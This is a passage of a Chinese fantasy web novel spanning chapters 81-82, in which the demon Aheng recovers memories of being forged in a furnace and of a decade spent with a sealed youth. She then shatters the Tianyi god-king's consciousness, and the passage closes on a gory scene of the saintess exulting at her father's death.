神识碾碎,她眼前的一切归于黑暗,很久,眼前忽然变得亮了许多,她又感受到自己的身躯,仍然是一团浑浊的雾。 她仍身处深渊,她看到狭长的甬道中许多人来来去去,他们无一例外都拥有一双幽绿的眼睛。 阿姮浑身灼痛得厉害,她意识到自己身在一个巨大的丹炉之中,炉中火海滔天,无时不刻不在灼烧着她的身躯,丹炉外,那个身形佝偻的老者幽绿的眼眸扫过那些才被带进来的男男女女们。 “求您……饶了我们吧!” “求求您了!” 他们与那老翁不同,他们的眼睛根本不是幽绿的颜色,而与凡人一般无二,此时他们脸上无不惊恐,跪在地上苦苦哀求。 “这丹炉里是神王的心血,你们生来血脉低贱,可以为神王的心血而死,”那老翁垂眸睨着他们,“实在是你们莫大的荣幸。” “我们有紫目神窍!我们……我们的血脉更接近天衣!求您放过我们吧!” 有人哀哀地喊道。 “正是因为你们有紫目神窍,所以才配去滋养这丹炉里的东西。” 老翁微微一抬手,守在一旁的天衣兵士立即将他们全都抓起来,扯着他们脖子上的锁链将他们抛入丹炉,火海焰高数寸,吞没了他们的身躯,也吞没了他们的惨叫。 浓烈的血气将阿姮包裹,她听到丹炉外,那老翁嘶哑的声音:“尽情吞噬他们的恐惧,怨恨,不甘吧,你会变得越来越喜欢血,你会是这天下第一邪物,是我天衣最大的杀器。” 阿姮承受着烈火的灼烧,她觉得自己像被烧化了,可一看自己这团雾气始终没有散去,她想逃脱那些天衣混血的血气,却又不自禁被吸引,这幽深的洞穴中很久没有声音,那老翁不知何时已不在。 不知多久,阿姮听到一阵脚镣擦过地面的声响,她身在火海,却看到丹炉外,那个小小的女孩赤足而来,丹炉太高太大,她仰起一张脏兮兮的脸,一双眼红肿得像核桃,阿姮听见她嘶哑的,颤抖的声音:“是你吃了我哥哥,对不对?” 阿姮如雾的身躯在火海里颤动,丹炉外,那女孩儿满眼的怨恨如暴风骤雨,她满脸都是泪:“你这个怪物……你把我哥哥还给我,把哥哥还给我!” 她再也无法控制情绪,扬手打向丹炉,丹炉岿然不动,她的双手却被烫得溃烂,却仍然挥拳往丹炉上砸:“你去死!你真该死!” “谁准你擅闯此地!” 天衣士兵听到动静,立即现身,一人将她踢到在地,女孩儿吐了口血,痛得浑身发抖,天衣士兵抓住她一只脚,要将她拖出去,却听见外面杂声更重。 外面传来其他天衣士兵的声音:“反了!这些贱种反了!” 很快,阿姮便看到许多戴着脚镣的混血涌入这狭窄的甬道,他们大都先天有疾,那是天衣神族给他们这些混血的诅咒。 天衣士兵似乎没有料想过这些孱弱的,低贱的混血会有这样的胆子造反,一名士兵一声暴喝:“你们这是做什么?胆敢背叛神王吗?” “神王?神王早就只剩一片残缺的神识了!我们为什么要听他的命令?他把我们当什么!” “我们也曾随神王抵抗九仪!我们从未退缩过!” 一名跛脚的混血沉声:“可最终,你们却要用我们的命来喂养这怪物!” 狭窄的洞穴里,天衣神族的士兵与天衣混血混战,阿姮在丹炉里目睹这一切,天衣士兵对这些混血根本不手软,捅穿他们的身躯,剥出他们的紫目神窍,幽暗的火光中,尽是绵密的血雾。 混战之中,丹炉被推到,里面的火光蔓延出来,熔岩一般将这片洞穴里的所有人都吞噬其中,连血腥味都烧得一点不剩。 阿姮从中漂浮出来,飞出洞穴,顺甬道往前跑,一簇簇的金絮草散发淡光,她毫无目的地四处乱窜,不知在这幽深的渊中盘桓多久,终于发现一处狭窄的缝隙,她如雾的身躯顺那缝隙浮出,钻入另一片黑暗之中。 水声滴答,滴答。 阿姮顺着狭窄的石缝往前,忽见幽深的漆黑中漂浮着一寸金焰。 那金焰一闪,一道虚弱的声音冷冷传来:“你是谁?” 那声音像是个十一二岁的少年。 阿姮顿住了,她的这副身躯却像是吓了一大跳,不受她控地飞到那金焰附近,此时,阿姮分明觉得这狭窄的幽隙中忽有冷风彻骨。 那是来自于那少年凛冽的杀意。 可她的这副身躯却无知无觉,还觉得他不过是一株金絮草而已,她甚至放下些戒备,开口是稚嫩的声音:“我也不知道我是谁啊。” 阿姮意识到,她被那天衣老者碾碎神魂,所以之后的一切她都没有意识,后来丹炉中她又长出自己的神魂,有了神识,有了感知,所以才又有了这样一段记忆。 金焰中模糊的影子似乎在凝视她,他也许觉得她像雾,但又不那么确定她究竟是个什么,她耐不住,着急地问道:“你知不知道怎么离开这里啊?” “离开?” “我……”阿姮听见自己说道,“我不可以被他们抓住!他们把我放在火里烤,还丢很多人下来,他们化掉了,我怕我早晚有一天也会像他们一样化掉!” 封印只针对天衣人,即便深渊有隙,天衣人也出不来,她却不一样,她找到缝隙便可以溜得出来。 金焰中那影子似乎终于确定,她不过是一个不成人形,仅有神魂的小妖怪而已,弱得不能再弱,那种严寒的冷意退去了,他说道:“这里没有任何缝隙,你出不去。” 出不去? 怎么能出不去呢? 阿姮如雾的身影急得团团转:“那你是怎么进来的?为什么出不去呢?一点点缝也没有吗?” 那金焰中的影子却不再理她了。 他好像很疲惫,昏昏睡去,不知何时,又被一些杂声惊醒,他从焰中看去,那团像雾一样的东西正用她那没什么实感的手挖着碎石。 他冷眼看她挖洞,也并不提醒她,要从这里挖个洞出去,只怕要十年不止。 他根本不愿意与她多说一句话,但她却总是叽叽喳喳地自说自话,也许是在丹炉里憋得太久了,她不记得自己是什么时候长出神魂,但她本能地觉得自己不应该让那些天衣人知道,她学会了像他们一样说话,可她根本不敢说话,直到她来到这里,意识到天衣人真的找不到她,她才敢真的说话,说很多话。 她觉得他长得像金絮草,一株不那么茂盛,不那么康健的金絮草,所以开始喊他小草哥哥。 哪怕他总是不理人,她还是总要一边挖洞,一边跟他说话。 几乎每一日,阿姮都会看见那寸金焰中浮出一道金印,看那金印升空,消散,她每天缠着问他那是什么东西,终于有一日,他出声:“是明光印。” “什么是明光印?” 阿姮不明白。 “是一个无论我在哪里,都能让我父亲找到我的东西。” “父亲是什么?” 阿姮挠了挠脑袋。 金焰中,那影子似乎看了一眼她,她已在此挖了三年的洞,也许是她自己实在有些本事,她如今即便仍然如雾一般,却有了个人的轮廓。 “寻常人的父亲,是让他们来到这个世界上的人,而我的父亲,是救我,养育我,教导我的人。” 阿姮其实还是没听懂,但她想了想说:“我好像没有这个人。” 阿姮不会因为没有父亲而沮丧,因为她根本不知道那是什么,她依旧辛勤地挖洞,一边挖,一边缠着他讲故事,外面的故事。 可很显然,他对外面也不是那么了解,只能跟她讲一些他父亲讲过的故事。 给她讲《奔月》,送给她“阿姮”这个名字。 这幽隙中,一寸金焰与一团浊雾之间的点点滴滴,阿姮好像重新经历了一遍,这些远比她的那些梦境更清晰,更真实。 三年又三年,阿姮日复一日地挖洞,然后又三年,渐渐的,她发现小草哥哥再也没有画过那个明光印了。 他问她喜不喜欢圆圆的珠子,那是一颗颜色很漂亮的珠子,小草哥哥告诉她说,那是蓝色。 他说,将来她出去,用她这副自己长出来的五感,还会看到更多的颜色,嗅到更芬芳的香味,甚至尝到更美妙的滋味。 第十年,她发现小草哥哥的声音更虚弱了,他总是会睡觉,有好多次,阿姮怎么也叫不醒他,她吓得大哭,哭到终于把他吵醒。 “你总是很吵。” 他叹了口气。 阿姮吸吸鼻子,说:“小草哥哥,你不要死掉。” “我还不会死。” 他说。 阿姮转身飞过去继续挖洞:“你一定要等我,我们说好要一起出去,不管你是小草,还是什么,去外面总会好的,对吗?” 其实她也不确定。 她根本不知道外面有什么,她转过来:“是不是找到你父亲,你就有救了?” 金焰颤动,其中的影子似乎凝滞。 很久,阿姮听见他说: “阿姮,我再也找不到父亲了。” “不会的,一定可以找得到!” 阿姮很认真地说:“你说过,他是最爱护你的人,他会救你的!等我挖通这个洞,就带你去找他!” 然而,洞还没有挖通,忽然有一日,阿姮听到了一些声音,那声音嘶哑,苍老,语气中的阴冷将她整个裹附: “找到你了。” 他们似乎在用什么法阵,这个法阵一开启,他们那边的杂声全都涌到她的耳里,钻心的疼,阿姮听到他们终于确定了她的方位,找到了那个她曾经出逃的缝隙。 阿姮僵硬着身躯,许久没有动,金焰中那少年察觉她的异样,唤道:“阿姮?” 她像是没有听到。 “阿姮,你怎么了?” 他继续唤道。 阿姮终于有了反应,她飞快地飘浮到金焰面前:“小草哥哥,他们……他们找到我了!” “我听到他们的声音了,他们一直在叫我!” 她焦躁极了,声音都在发抖。 “他们无法突破封印,出不来。” 少年安抚她道。 阿姮一下窜到她挖的洞里面,发了疯似的用力挖:“不,他们可以叫我回去,他们可以……可以叫我自己回去!” 一旦确定她的方位,他们就可以这样做。 少年似乎立即便明白了她的意思,他沉默了片刻,幽隙中,水滴时不时的响,他开口说:“阿姮,你过来。” “没有时间了,没有时间了!” 阿姮用力摇头。 “听我的话,过来。” 他说。 阿姮犹豫了一下,还是钻出来,到那寸金焰面前的刹那,她还什么都没来得及说,却见金焰陡然散发出强烈的金光,那金光几乎灼伤她的眼睛,她下意识地捂住眼睛,却听爆裂声响,四周猛然剧烈震动,碎石,尘土全都砸下来。 整座山都在震动。 阿姮像被什么抓住了,她惊恐地喊:“什么?这是什么啊?” 阿姮睁开眼的刹那,不知什么移开了,那些碎石没有砸到她半分,她看到那寸金焰,她听见少年模糊的,隐忍的呼吸,他的声音响起:“是我的……” 他莫名顿了一下,斟酌着吐出一个字:“手。” 阿姮愣愣的:“你的手?你的手那么大一个吗?” 忽然之间,有什么顺着她挖的那个洞的方向来,阿姮什么也看不清,只觉得脸颊有点冷:“这是什么?” “是风。” ……风? 一线碎光也从那个方向来,她愕然:“那是……光吗?” 是外面的光吗? “我的洞……通了吗?” 她不敢置信。 “通了。” 少年的声音很哑:“你不要怕,顺着这道缝隙出去吧。” 他说:“阿姮,你会自由的。” 阿姮无比欢欣地冲向那破口,却又忽然停下,她回过头,看向那寸不知为何微弱许多的金焰:“小草哥哥,你快来啊!” 那金焰中的少年缓了好一会,声音越发微弱:“你先走吧,离开离开这座山,我的珠子会为你辨炁,送你离开赤戎。” 她没有动,望着他:“那你会来找我吗?” 少年的声音很轻:“会的。” 阿姮转过身,她这副小小的,雾做的身躯浸润在这片照入缝隙中的光里,她迎着轻柔的风望了一眼外面,这个缝隙好小好小,衬得外面的一切是那么的阔达,她看到了很多很多,却并不知道那些是什么,她生来不见光,什么都没见过。 “小草哥哥,这就是你说的阳光吗?” 阿姮仰起一张五官模糊的脸:“照在我身上,真的暖洋洋的。” “你这不听话的东西。” 阿姮的脑子里钻入这尖锐的声音,她浑身颤栗,那道声音刺入她耳心:“回来。” 自由近在咫尺,阿姮被这种恐惧深深所慑,她觉得自己应该迎向那片阳光一跃而下,随风而去,可她这副雾气凝成的身躯却毫不犹豫地飞了回去,捧住那寸微弱到几乎要熄灭的金焰,以平生最快的速度奔向那一线日光。 那风,那光,那阔达的天地离她越来越近,越来越近。 “阿姮……” 少年虚弱的声音难掩惊谔。 微小的缝隙口,阿姮感受到自己的身躯在逐渐变得僵硬,她的双脚已经抬不起来了,嘴唇抖了一下,她看向手中的金焰,说:“差一点,就差一点了……” 阿姮用尽全力挪动僵硬的双手,指节松开,金焰从她手中随风飞去,少年连声的呼唤也随风渐远。 阿姮的身躯全然僵住了,她站在缝隙口,手里握着的那颗幽蓝剔透的珠子也从险峭巍峨的山崖掉了下去,被茫茫风雾掩盖,不见踪影。 “小草哥哥,你替我自由吧。” 阿姮整副身躯不受控的,以无比僵硬的姿态转过身,缓缓穿过她挖了十年的这条缝隙,往更深,更幽暗处去。 她钻过十年前出逃的那条缝隙,回到了深渊之下。 那个天衣老者早已等在那里,他脚下的法阵紫光闪烁,映照他那副褶皱横生的脸,他将阿姮那副好似雾做的身躯上下审视:“十年而已,你竟然又长出神魂,还有了副人的轮廓,相信用不了多久,你应该便可以化形,可惜,你本该是个物件,既是物件,你便不需要多余的五感。” “我要做人,我不要做你们的东西!” 阿姮说道。 那老者似乎在冷笑,金絮草发出的光影一簇又一簇,在这个深渊中,没有人希望她成为一个人,她是他们的物件,是他们的杰作。 他们将她缚在法阵里,紫电缠住她的四肢,她的颈项,那老者不过动一动手指,法阵转动起来,紫电撕扯她的四肢,她像一个凡人一样被执行着四分五裂的残酷刑罚,他们撕裂她的人形,如果她有一副血肉之躯,早就血肉横飞,但她却比血肉横飞还要痛,比从前更痛,他们抽出她的神魂,再一次彻底碾碎。 至此,阿姮从那副小小的,雾做的身躯中剥离出来,那种极致的痛苦却仿佛依旧残存于她的身体里,她浑身发抖,恍惚之际,发现自己已不在那片深渊中,她在黑水河边,恍惚抬眼,河岸边有棵小树随风微微地晃。 她看向那片浊黑的河水,有一瞬,她觉得自己身在那片潮湿的河水里,漫无目的地游荡,她不知道自己在那渊中又经历了什么,因为她的神魂既碎,便没有意识,自然不会有记忆,再有记忆,便已被天衣人投入这黑水河中,但此时的她却不再拥有从前那副五感,她只有妖邪恶欲丛生的本能。 这里不知何时早有了人迹。 他们是在战乱中误入此地。 带领他们逃来这里的,是一对兄弟,那大哥,他们称他为吕员外,他们说他姓吕,名无难。 这些人类饮过黑水,得过疫毒,却又因山中晶莹如玉的奇石而活了下来,他们称其为璧髓,用他濯尽黑水,繁衍生息。 那棵小树越长越大,长成参天之势。 而她早已不记得自己在黑水河中待了有多久,后来,有一夜,一对男女在那棵枝叶繁茂的大树下相会。 他们拥抱,他们说话。 然后,那个男子将那女子的心脏掏了出来,她的身躯重重砸入河水之中,阿姮嗅到她芳香的血气。 一切到此戛然而止。 阿姮发觉自己站在那棵大树底下,天色昏黑,落英纷纷,她所有的记忆因神识的弥合而被完整地接续。 伸手触摸额头,阿姮发现那里的泥痕不知何时已经消失不见。 枝叶间,那寸金焰悬在不远处。 阿姮一步一步走近,她的身影化成红雾钻入金焰之中,她在那片耀眼的金芒中走了很久,终于看到一道影子。 那个人黑衣银发,眉心一道细细的血线。 他拥有一副神清骨秀的面容,一双漂亮剔透的眼睛。 “……小神仙?” 阿姮喃喃了一声。 灿烂金霞中,他纹丝未动,只是凝视着她,好像她是一个陌生人。 这是她神识记忆的尽头,难道是因为她从未见过他过去的真容,所以这幻境尽头中的他,是她印象中他的模样? 阿姮看着他,忽然想起曾经她与泥妖在那座神山的洞窟中打斗,她一不小心掉到一个石台上,那石台剥落表层,露出一只巨大的,晶莹剔透的兽爪,那手爪摊开着,像要抓住什么,却又不敢握紧。 那么的,小心翼翼。 她终于明白。 天衣人找到她的那天,是他拼尽最后的气力挪动自己早已与山体融合的身躯,打通了她挖了十年的洞穴。 自他身化封印,那些山石年深日久地压着他,压着他的身躯,禁锢他的神魂,所以,他无一日不痛,无一日不煎熬。 阿姮的视线变得模糊极了,湿润的泪意几乎浸满她的眼睑。 “喂。” 眼泪顺着阿姮的下颌滑下去。 他似乎只是因为她的心中想着他,所以才存在于这里,他没有什么反应,只是盯着她那副泪眼。 “难怪从你出现在黑水村,”阿姮望着他,“从我看你的第一眼,我就觉得你实在很顺眼,顺眼到我只看上你的心脏,别人的,我怎么挑都不够满意,你怎么什么都不告诉我呢?要是我真掏了你的心脏怎么办?要是我真的把你杀了怎么办?你会认这个命吗?” 他只是一道幻象,自然不会说话。 阿姮其实很生他的气,气他什么都不告诉她,可是神识弥合,记忆回来,她又实在很难生他的气,因为她知道,被天衣人碾碎重塑过的自己,被无尽的恶欲浇灌,她只有妖性,只有欲望,如果他一开始便告诉她这些,她也未必会认真听他的话,即便听了,她也还是会想要他的心脏,甚至不惜因此而杀了他。 他不该那么相信她。 阿姮伸手捏住他的脸:“你的话总是很少,我知道,就算我真这样问你,你也不会跟我说实话的。” 阿姮十分不满意他这副不会说话也不会动的样子。 阿姮松开他,动了动手指,红雾顷刻浸入他的眉心,阿姮一双暗红的眼瞳盯住他:“说,你甘愿为我还俗。” 他浓而长的眼睫垂下来,漂亮的眼睛盯着她,说: “我甘愿为你还俗。”《 》 80-85 第81章 第81章 “小神仙,你真的很会装啊。…… 烟云缭缭, 金霞漫漫,此处无风也无雨,无比的静谧,阿姮脸颊上的泪痕还未干, 她扬起嘴角, 手指勾住他一缕银色的发丝, 绕啊绕:“说,阿姮最漂亮。” “阿姮最漂亮。” 他是盯着她的眼睛说的,嗓音清泠, 那么好听, 但这些好听的话, 真正的小神仙是绝不会说的, 否则她也不会总被他气得嚷嚷要毒哑他。 阿姮松开他的那缕发:“算了,好像也没什么意思。” 她往后退了两步, 却忽然眼珠转了转, 她又盯着他,好一会儿, 她伸手勾住他腰间的银尾法绳, 珠饰一阵清音乱撞, 他离她更近, 阿姮扬起下巴, 说道:“你,过来亲我。” 小神仙常是一副冷脸,她神识中形成的这道幻象与他如出一辙, 他垂眸与她相视,几乎面无表情,不知为何, 阿姮被他如此注视,竟然有点心虚,她神摇的刹那,他倾身迎来,阿姮最先嗅到他身上青蘅草的香味,他的亲吻落来,阿姮不禁攥紧他的法绳。 珠饰清音乱如雨滴,他的呼吸,温度,竟然那么滚烫。 他实在太听话了。 阿姮的目光越过他秀挺的鼻梁,对上他的眼睛。 因为他眉心这道不知何时便可能消失不见的戒痕,阿姮常在心中告诫自己,离他远一点,再远一点,不要想他的血,不要想他的眼睛,他的怀抱。 束手束脚,真不快活。 “看来你是快活得不想出去了。” 阿姮脑海中忽然响起这道女声,几分揶揄,隐含笑意,阿姮暗红的眸子神情一滞,她松开程净竹腰间的法绳,站直身体,脸色很臭:“你好没礼貌,我玩得好好的,谁准你偷看了?” “我并无双目,自然无法偷看。” 万木春的声音在阿姮耳边悠悠响起:“我只是想提醒你,这幻境乃神萦花所造,一旦神萦花谢,你再想出去也出不去了,好不容易拼凑出一副完整的神魂,你不会想都丢在这儿,留个空壳子在外面吧?” 丢个空壳子在外面,才正遂了天衣人的意,阿姮脸色阴沉,她知道,天衣人最不满意她一次又一次地长出神魂,他们要的,是一个完全听从他们命令的容器。 阿姮身化红雾一跃而出,落在河畔大树下,那寸金焰刹那消散,却有一个黑衣少年站在树下,身长玉立,纹丝不动。 阿姮鬓边洁白的神萦花委顿泛黄,她眼前的这片黑水黑山也变得十分模糊,很快,四周什么也不剩,此间唯余漆黑一片。 神萦花破碎成点点的莹光,飞浮于这片仿佛无尽的黑暗之中,阿姮鬓边焦簪又开出新蕊,是一簇鲜红欲滴的山茶。 “你神识中的幻境已经消散,但你如今仍身在天衣神王的神识之中,”万木春的声音再度响起,“你只有找到阵眼,粉碎他的神识,才能从这里出去。” 阿姮皱起眉,四下一望,这里黑乎乎的,看起来什么都没有,到底该上哪里去找那什么阵眼? 阿姮身化红雾穿行数个来回,无论往上还是向下皆不见底,这天衣神王的神识实在广袤无垠,她累得气喘吁吁,干脆使唤那黑衣少年操控他的银尾法绳四处去探,那法绳犹如一条银蛇般在浊黑的风雾里不断来回,凛冽的银光时时闪烁。 “你还舍不得这幻象?” 万木春的声音慢悠悠的,神萦花谢之时,他本该随之消散的,阿姮却用术法将他强留至今。 “让他再陪我玩会儿怎么了?” 阿姮双手抱臂,转过脸看向身边的少年,“哎,你看他,虽说只是一道幻象,看起来却那么真实。” 他身上青蘅草的香味,甚至温度,目光,总让她分不清真与幻的界限。 阿姮说着,歪过脑袋想了想,说:“难道是我的缘故吗?是我想他想得太多了,所以才会这样?” 万木春却一点声音也没有了。 这件九仪法宝向来如此,常常不出声,跟睡死过去了似的,有时又忽然冒出一两句,经常没有下文,阿姮忍她很久了。 阿姮摘下焦簪,却又忽然顿住。 她的神识中并没有多少记忆,那是因为她从前的经历本来就少,那些她被天衣人炼化的日日夜夜并不是很真切,但那寸金焰,小草哥哥的声音都是那么清晰如新,幽隙中的十年是她最深刻的记忆。 那么天衣神王呢? 对他来说,他最深刻的记忆是什么? 阿姮闭上眼,她认识的天衣人不多,脸孔清晰的也就青峨一个,她想着青峨的那张脸,有风拂过她耳边的浅发。 再睁眼,那银尾法绳仍在天边,被它搅弄的风雾却化成无尽的海水,阿姮身处海水之中,看到一道极其模糊的人影。 那影子太瘦小了,仿佛一层皮下便是骨,她站也站不起来,趴在石窟口往外望,隔着一层水网,阿姮对上那张模糊的脸,她有一双幽绿的眼睛。 那双眼睛里浸满惊恐的眼泪。 “父王,父王……” 她嘶哑的,稚嫩的声音从水网中朦胧传出:“我会有用的,我会变得很有用,父王……求您,求您给我机会,父王!” 这是神王一段极短的记忆,阿姮的目光随神王而动,竟连看那水网中的女孩一眼都吝啬,神王不记得她的面容,所以她的脸始终模糊。 记忆尽头,海水退去,画面消散,阿姮又重归黑暗,要从神王的记忆中找到阵眼并不简单,何况她也并不能看到神王的全部记忆,银色的凛光划过她的眼皮,阿姮一瞬抬眸,黑水黑山顷刻复现,那银尾法绳犹如银蛇般在浑浊的云气中缠住了什么,阿姮身化红雾跃入天际,茫茫风雾中,她看清银尾法绳缠住的那团云气中竟然是被紫电网住的神兽白泽。 紫电穿身,白泽哀鸣。 阿姮化出身形,焦簪在她手中化出本相,扬手一劈,金电红雾轰然爆裂,击穿重重紫电,炸开一片巨响。 白泽脱离紫电束缚,那双金瞳朝她望来,啸鸣一声,金振玉响,随后身形很快化成雾气,飞浮在那岿然不动的黑衣少年身边。 阿姮冷笑一声,总算明白过来:“白泽舍身镇压天衣余孽,果真让你这老东西气得发疯,竟耿耿于怀至今。” 果然,天衣神王最深刻的记忆,便是他神识的阵眼。 阿姮看向那身在缭绕云雾中的黑衣少年,风拂动他的衣摆,他眉心红雾隐隐,似乎因为她的注视而缓缓扬起脸,与她相视。 像个因主人的一举一动才能有几分生气的傀儡娃娃。 忽然,天边雷声轰隆,巨大的轰鸣声袭来,紫电从浓云中闪烁而出,如万矢齐发,阿姮闪身避开数道紫光,朦胧浊烟中,阿姮看到那少年被紫电击中,她立即飞身掠去,一手环住他的腰身躲开重重气流,停在风雾中,伸手摸了摸他的胸膛,淡淡的烟气流散,他胸口似乎没有任何破口,但阿姮还是很生气。 该死的老东西,差点劈坏他这道的幻象。 阿姮一下仰起脸,盯住半空中,此时那片黑山黑水已随白泽的消失而消散,取而代之的是一片更加广阔的天地。 风雨盛大,山水连绵,阿姮自云中下视,只见一片血流成河,人影密如织蚁,锋利的气流不断乱撞,平山填海,声势浩浩,俨然一片惨烈人间。 阿姮手中的万木春震动起来,发出金石之音,她抬眸望去,密密麻麻的紫电铺满整片天空,压向浓云之中。 云中金光破云而出,与紫光交缠,撞击,阿姮隐约从中看到另一件万木春,它仍是那样焦黑的模样,握在一道影子手中,那影子在灿烂的金光中十分模糊,阿姮单看这无尽的雷霆紫电,便知道,神王恨那影子,无比的恨。 阿姮顷刻意识到,她动用了万木春,引来神王的雷霆之怒,使这第二道阵眼也显形了,她立即身化红雾,携万木春飞向那片汹涌如漩涡般的雷电之中,红云金电密不可分地随她剑气而奔涌,如滔滔万流,撞击雷电,洒下万千散碎的,冰冷的紫芒。 阿姮穿行其中,红云金电所过之处,轰鸣一片。 漩涡般的紫雷终于散开,血红的战场也变得渺远,风雨之声尽数消散,阿姮听到某种碎裂的声音,她落回到那少年身边,见他身形完好,她十分满意,但见周遭又化为一片昏黑,却隐隐有震颤之声,仿佛一座巍峨之山,将崩未崩。 难道还有第三个阵眼? 第一个阵眼,是害天衣神王光复之心功亏一篑的白泽。 第二个阵眼……她虽看不清那耀耀金光中的影子,却断定,那是九仪。 天衣神王视她为草芥,贱奴,他永远也无法释怀,他的天下,他的乐土,竟然被这个小小凡人一朝倾覆。 这种耻辱,令他怨戾无边。 那么第三个阵眼……该是什么呢? 阿姮抬起脸,凛风涌,浊雾动,她抛出万木春,那焦枝散发无边金芒,几乎要将这片漆黑的,残缺的识海照得透亮。 如缕的金芒涌向一片浊黑的云雾。 阿姮立即追着金芒而去,冷风如刀刮过她的脸庞,她忽然停下来,悬在半空中,金芒拨散浓云,隐约显露里面一道高大颀长的影子。 他拥有一副深邃的五官,乌黑的长发,皮肤是那样苍白,一双幽绿的眼睛,竟如毫无杂质的翡翠一般,冷冽,干净。 他被束缚于紫网之中,纹丝不动。 他的五官,衣饰,乃至他衣摆每一寸细微的褶皱,阿姮这双眼都看得清清楚楚,她明白,这是因为天衣神王关于他的记忆是如此的深刻。 深刻到,这个人永永远远地被囚禁于此,被紫电不断洞穿身躯,浓云烧成满天的烈火,也无时不刻不在灼烧着他的整副身躯。 神王恨他,更甚九仪。 这个人,是天衣圣子。 阿姮用九仪的万木春找到了他。 茫茫火海中,雷声爆裂,呼啸,天衣神王的神识因东海与赤戎之间的空间限制而还未弥合,如今连破两道阵眼,阿姮审视四周,天衣神王必是有所感应,火海烈烈,灼烫非常。 无尽的雷云,连绵的火海,山呼海啸般朝她压来,阿姮翻身避开张扬的火舌,滚烫的气流迎面扑来,阿姮被巨大的冲击震出去,她好不容易稳住身形,只见火海将那圣子吞噬,万木春落回阿姮手中,她一双暗红的眼盯住那烈烈火海,毫不犹豫再度迎上去,钻入那滚烫的热流,浑身像要被烧化了,她手持万木春灌以千钧之力划出一片红云烈焰,金电如织,滋滋作响,在火海中轰然炸开。 阿姮剑指火海深处,红云烈焰轰轰烈烈烧向那将圣子束缚其中的雷霆紫网,碰撞出巨大的热流,将阿姮狠狠震了出去。 阿姮耳中钻心的疼,几乎听不见声音了,双目被炙热的红,刺目的金灼得模糊,正是此时,她的腰身被什么缠住,及时稳住了她的身形,阿姮闭了闭眼,看清那根银亮的法绳,她一怔,却见法绳松开她,如灵蛇游弋般钻入火海,凛冽的银光如雨自熊熊烈焰中开出一条道来,阿姮反应过来,立即飞身而去,手中万木春飞出,正中火海深处的雷霆紫网,红云烈焰连绵灼烧,金电与紫光相缠相斗。 阿姮飞快掠去,握住万木春,金电顺焦枝而下烧成一片灿烂金霞,这片天地云海涌动,波涛汹涌地扑向她。 阿姮紧咬牙关,万木春枝尖迸发更强的气流,风起云涌中,碎裂之声更重,山崩地裂般,雷霆紫电轰然碎成点点紫光,如流火下坠。 爆裂之声震天。 红雾几乎充斥着这片天地,那些浊黑的云海在缓缓消散,连带着圣子的身影也变得模糊,风好似不甘的啸鸣。 阿姮双手都在发颤,几乎要握不住万木春。 她抬起眼帘,那银尾法绳穿云过雾,她的目光不由随它而往身后望去,不远处,那黑衣少年立在那里,满天紫芒下坠,他在其中不沾分毫。 那银尾法绳回到他的腰间,阿姮听到那阵碰撞的清音。 “阿姮!” 耳边,忽然传来一阵呼喊,阿姮听到这声音,意识不由被牵去,满目火海顷刻不复,她发现自己在一片幽暗中下坠,不断地下坠,青蘅草的香味近在咫尺,她发觉自己正与一个人额头相抵。 “阿姮你们没事吧?倒是说句话啊!” 耳边,又传来霖娘混合着风声的呼喊,阿姮意识到,方才唤她的,正是霖娘,她转过脸,只见两道身影亦如他们一般在不断地下坠。 猝不及防,几人几乎同时落地。 幽暗的海水中,波光偶尔带着些不知名的碎芒,阿姮一把推开面前的程净竹,他没有防备,踉跄后退了几步,珠饰轻响。 他抬起脸,对上她的目光。 阿姮倏地意识到了什么:“是你,对不对?” 他并不说话。 阿姮盯着他,缓缓说道:“你进了我的神识,我却当你只是幻象,我方才便觉得奇怪了,即便天衣神王的神识残缺,神通无存,他识海中降下的雷霆也足以让一道幻象烧得什么也不剩。” 可他完好无损,还不等她操控,他的法绳便来助她。 想起她在自己的神识中都玩了些什么,阿姮一时又羞又恼。 “小神仙,你真的很会装啊。” 阿姮气笑了。 昏暗的光影里,他的面容不清,阿姮听到他说:“我并没有装。” 阿姮愣了。 “你让我做什么,我便做什么,”幽冷的碎光映照他颀长的身影,他的脸几乎融在一片阴影中,他的声音那样沉静,“我从来没有想过瞒你那些事,我只是,有点生你的气,还因为,我不知该怎么和一个根本什么都不记得的你说起这些。” 阿姮听到他说“你让我做什么,我便做什么”,她胸腔中的心脏便没有章法地乱跳个不停,脸颊变得滚烫,但听到后面,她又一下被点燃了:“你还生我的气?你凭什么生我的气?我到底对你哪里不好你跟我生气?” 他居然说……生她的气??? 阿姮越想越气。 “……那个,你们能不能等一等再吵?” 霖娘发抖的声音忽然从不远处传来,像快崩溃了:“我……我好像卡在一个坟包里了,你们快点救救我,行不行?” 第82章 第82章 “是神骨,上界神仙的神骨!…… 海上浊浪轰然翻卷, 中心出现一个巨大的漩涡,犹如巨兽之口,层层浪涛尽是它森白的齿,如有吞天之势, 那在岸边伫立良久的少女手背绿珀映照着汹涌的波光, 忽然的剧痛从胸腔中蔓延, 千丝万缕钻过她的血肉,少女猛然引颈,如缕明晰的青筋在惨白的皮肤底下根根暴起, 她眼皮与眼睑粘连形成的疤痕骤然撕裂, 鲜红的血液流淌而出, 划过她瘦削的脸庞。 颈项单薄的皮肤下, 有什么东西顺经络而疯狂地鼓动,少女难以忍受, 浑身颤抖, 难捱地尖叫起来,黑炻脸色一变:“圣女!” 少女一副美丽的五官变得无比扭曲, 眼皮与眼睑之间的裂口越来越大, 鲜血汩汩地涌, 皮肉崩裂的声音响起, 一片血雾弥漫, 少女支撑不住摔入海水之中,黑炻反应迅速,立即俯身将她抱起, 此时,少女身上黑色斗篷的兜帽沾水剥落,露出她一张完整的, 惨白的脸,斗篷之下,她几乎浑身血红,黑炻亲眼看到她颈侧皮肉崩开,鲜红的血液盈满她的衣襟,幽冷的紫芒如丝如缕,顺着她身上无数的血洞混合鲜血涌出。 黑炻惊骇地瞪大双眼。 道道紫芒犹如巍巍大树的根系,粗细不一,形状各异,它们钻出少女的身体,刹那便消失在茫茫海面上。 她一直在发抖,不住地抖,黑炻以为那是因为她的身体千疮百孔的剧痛,但他又莫名有一个怪异的直觉,她的颤抖是因为兴奋,无比的兴奋。 黑炻将要推翻自己瞬息间荒唐的猜测,低头却见圣女睁开眼睛——是的,她睁开了那双因为皮肉粘连成疤而多年不曾睁开过的眼睛,血红的裂口里,仍然血红,空洞洞的,什么也没有。 鲜血仍顺着眼眶的血洞外涌,淌过她的脸颊,她缓缓露出一个笑容,那么灿烂:“哈哈哈哈哈哈……” 她放声大笑起来,那么快慰。 终于, 终于等到这一日。 我那不可一世的父王,终于彻底地死去。 